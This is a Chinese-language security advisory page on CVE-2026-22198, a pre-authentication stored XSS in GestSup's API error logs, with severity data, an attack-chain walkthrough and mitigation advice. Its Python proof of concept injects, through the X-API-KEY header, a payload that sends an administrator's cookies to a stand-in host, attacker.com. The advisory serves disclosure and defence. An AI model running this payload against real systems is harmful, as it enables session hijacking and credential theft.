IPBUF安全漏洞报告
English
CVE-2026-22198 CVSS 6.1 中危

CVE-2026-22198 GestSup API日志存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2026-22198
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GestSup

相关标签

存储型XSS跨站脚本GestSupAPI安全日志注入预认证漏洞CVE-2026-22198会话劫持

漏洞概述

CVE-2026-22198是GestSup系统中的一个预认证存储型跨站脚本(XSS)漏洞。该漏洞存在于API错误日志功能中,影响版本低于3.2.60。攻击者可以在无需任何认证的情况下,通过向API端点发送携带恶意载荷的X-API-KEY请求头,将恶意的HTML或JavaScript代码注入到系统日志中。当管理员后续通过Web界面查看这些日志记录时,注入的恶意代码会在管理员的浏览器会话中执行,从而实现会话劫持、凭据窃取或其他恶意操作。由于该漏洞位于日志查看功能,且需要管理员交互触发,因此具有较高的隐蔽性和实际威胁性。此漏洞由VulnCheck发现并报告,CVSS 3.1评分6.1,属于中等严重程度。

技术细节

该漏洞的根本原因在于GestSup的API错误日志功能对X-API-KEY请求头值的输入验证和输出编码存在缺陷。当攻击者发送带有恶意构造的X-API-KEY头部值的API请求(如POST /api/v1/ticket.php)时,系统会将该值未经充分过滤直接写入日志数据库。日志数据在存储时未进行安全编码,导致恶意脚本被持久化存储。当管理员访问日志管理界面时,后端程序从数据库读取日志内容并在前端页面渲染时未进行适当的输出编码(如HTML实体转义),使得存储的恶意脚本被浏览器解析执行。攻击者可以利用此漏洞窃取管理员的会话Cookie、模拟管理员操作或进行进一步的内网渗透。由于攻击发生在API层面且利用条件简单,攻击者可在短时间内批量探测和利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标GestSup系统版本,确认版本低于3.2.60
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的X-API-KEY请求头(如<img src=x onerror=alert(document.cookie)>)
STEP 3
步骤3
攻击者向API端点(如/api/v1/ticket.php)发送携带恶意X-API-KEY的HTTP请求
STEP 4
步骤4
系统处理请求时触发错误,将未经过滤的X-API-KEY值写入日志数据库
STEP 5
步骤5
管理员登录系统并访问日志查看页面(Web界面)
STEP 6
步骤6
页面渲染日志内容时,未进行输出编码的恶意脚本在管理员浏览器中执行
STEP 7
步骤7
攻击者成功窃取管理员会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2026-22198 PoC - GestSup Stored XSS in API Error Logs # Target: GestSup < 3.2.60 # Attack Vector: Malicious X-API-KEY header in API request TARGET_URL = "http://target-server/api/v1/ticket.php" # XSS payload - steals admin session cookies xss_payload = '<img src=x onerror="fetch(`https://attacker.com/log?c=`+document.cookie)">' def exploit_stored_xss(): """Send malicious X-API-KEY header to inject XSS into logs""" headers = { 'X-API-KEY': xss_payload, 'Content-Type': 'application/json' } # Trigger error log by sending invalid request data = { 'action': 'create', 'invalid_param': 'test' } try: response = requests.post(TARGET_URL, json=data, headers=headers, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {xss_payload}") print(f"[*] Status: {response.status_code}") if response.status_code in [400, 401, 500]: print("[+] XSS payload likely logged - requires admin to view logs") print("[+] When admin views logs at /index.php?page=logs, XSS will execute") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-22198 GestSup Stored XSS PoC") print("="*60) exploit_stored_xss()

影响范围

GestSup < 3.2.60

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)层面对X-API-KEY等自定义请求头实施严格的内容过滤,拦截包含HTML标签或JavaScript特征的请求;2) 限制日志查看页面的访问权限,仅允许必要的管理员访问;3) 在日志存储前对所有输入数据进行HTML实体编码处理;4) 启用浏览器的XSS过滤器并配置严格的CSP策略;5) 监控API请求日志,及时发现异常的探测行为。建议尽快升级到官方修复版本以根本解决问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表